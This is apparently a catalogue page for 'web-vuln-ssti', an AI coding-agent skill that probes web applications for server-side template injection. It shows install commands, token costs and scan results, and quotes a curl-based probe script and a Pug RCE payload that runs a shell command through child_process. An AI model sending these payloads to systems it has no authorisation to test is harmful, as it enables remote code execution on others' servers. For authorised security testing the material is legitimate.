web-vuln-ssti

web-vuln-ssti is a skill for Claude Code, Codex from woohyun212/security-skill. It costs 18 tokens per session (2,515 once invoked), scanned A, original, MIT.

A security-testing guide for finding server-side template injection, a flaw where user input is evaluated as template code on a server.

In plain words
What is it for?
It covers testing inputs in web applications, identifying engines such as Jinja2 or Twig, and confirming possible code execution with engine-specific probes.
Why use it?
It helps authorised testers recognise when input is being executed by a template engine and assess whether the flaw could lead to server control.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

Good fit It covers testing inputs in web applications, identifying engines such as Jinja2 or Twig, and confirming possible code execution with engine-specific probes.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/woohyun212/security-skill/web-vuln-ssti
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add woohyun212/security-skill --skill web-vuln-ssti
Clone the repo
git clone --depth 1 https://github.com/woohyun212/security-skill

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for web-vuln-ssti

README.md
[![agentmods](https://agentmods.dev/badge/skills/woohyun212/security-skill/web-vuln-ssti/github.svg)](https://agentmods.dev/skills/woohyun212/security-skill/web-vuln-ssti)
Your own site
<a href="https://agentmods.dev/skills/woohyun212/security-skill/web-vuln-ssti"><img src="https://agentmods.dev/badge/skills/woohyun212/security-skill/web-vuln-ssti/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for web-vuln-ssti

Your own site · 80×15
<a href="https://agentmods.dev/skills/woohyun212/security-skill/web-vuln-ssti"><img src="https://agentmods.dev/badge/skills/woohyun212/security-skill/web-vuln-ssti.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 18 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,515 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00018 $0.02515
Opus 5 $0.00009 $0.01257
Sonnet 5 $0.00004 $0.00503
Haiku 4.5 $0.00002 $0.00251

Measured 11d ago against content hash bac247d8c37d, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

web-vuln-ssti scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- `curl` must be installed

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

PUG_RCE='#{function(){localLoad=global.process.mainModule.constructor._resolveFilename;return localLoad("child_process")}().execSync("id").toString()}'
web-vuln-ssti/SKILL.md · 231 lines

How it starts

The opening of the file, as written. The whole thing — 231 lines — stays where its author put it; the contents beside it link to each section on GitHub.

What this skill does

Detects Server-Side Template Injection (SSTI) vulnerabilities by injecting polyglot probes and engine-specific payloads into user-controlled inputs reflected in server responses. Identifies the template engine in use (Jinja2, Twig, Freemarker, ERB, Thymeleaf, Pug) from error messages or mathematical output, then escalates to Remote Code Execution (RCE) payloads to confirm impact.

When to use

  • When user input appears to be rendered inside a server-side template (e.g. name fields, subject lines, custom report templates, URL paths, HTTP headers)
  • When a response reflects user input with unexpected evaluation (e.g. {{7*7}} returns 49)
  • When error messages mention template engine names (Jinja2, Twig, FreeMarker, Velocity, Smarty, etc.)
  • When testing web applications built on Python (Flask/Django), PHP (Laravel/Symfony), Java (Spring/Thymeleaf), Ruby (Rails/ERB), or Node.js (Pug/Nunjucks)

Prerequisites

  • curl must be installed
  • HTTP/HTTPS access to the target endpoint
  • Knowledge of the parameter name that reflects user input in the response

Inputs

Variable Description Example
TARGET_URL Full URL of the vulnerable endpoint https://app.example.com/greet
PARAM Query or POST parameter that reflects input name
METHOD HTTP method (GET or POST) GET
EXTRA_HEADERS Additional headers required (e.g. auth token) Authorization: Bearer <token>

Workflow

Step 1: Identify user input reflected in responses

TARGET_URL="https://app.example.com/greet"
PARAM="name"
METHOD="GET"
EXTRA_HEADERS=""

echo "=== Step 1: Confirm reflection ==="

send_probe() {
  local payload="$1"
  local encoded
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")

  if [ "$METHOD" = "POST" ]; then
    curl -s -X POST "$TARGET_URL" \
      --data "${PARAM}=${encoded}" \
      ${EXTRA_HEADERS:+-H "$EXTRA_HEADERS"} \
      --max-time 10 2>&1
  else
    curl -s -X GET "${TARGET_URL}?${PARAM}=${encoded}" \
      ${EXTRA_HEADERS:+-H "$EXTRA_HEADERS"} \
      --max-time 10 2>&1
  fi
}

echo "--- Baseline (literal string) ---"
send_probe "SSTI_TEST_12345" | grep -o "SSTI_TEST_12345" | head -3

Read the full file on GitHub · 231 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 231 lines · 18 tokens per session scan A bac247d8c37d

Subscribe to this mod's changes

web-vuln-ssti is a skill published in the GitHub repository woohyun212/security-skill (21 stars, last pushed 4mo ago), licensed MIT. It adds 18 tokens to every session and 2,515 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

systematic-debugging

Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.

obra/superpowers · 21 tokens

local-ai-agents

Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…

microsoft/ai-agents-for-beginners · 200 tokens

next-cache-components-adoption

Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…

vercel/next.js · 95 tokens

insight-error-page

Write or audit an insight-kind error page for the Next.js dev overlay. Use when creating a new errors/ .mdx page, auditing an existing one, or checking that a page matches the framework fix cards. Covers page structure, title alignment, FixCard cards with Copy prompt button, code snippets, terminology verification…

vercel/next.js · 83 tokens

next-cache-components-optimizer

Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…

vercel/next.js · 170 tokens

next-partial-prefetching-adoption

Turn on Partial Prefetching in a Next.js app and work through the insights it surfaces. Use when the user wants to enable or adopt Partial Prefetching, flip the partialPrefetching flag, opt routes in with export const prefetch = 'partial', audit Link prefetch={true} behavior, preserve existing prefetched UI with…

vercel/next.js · 103 tokens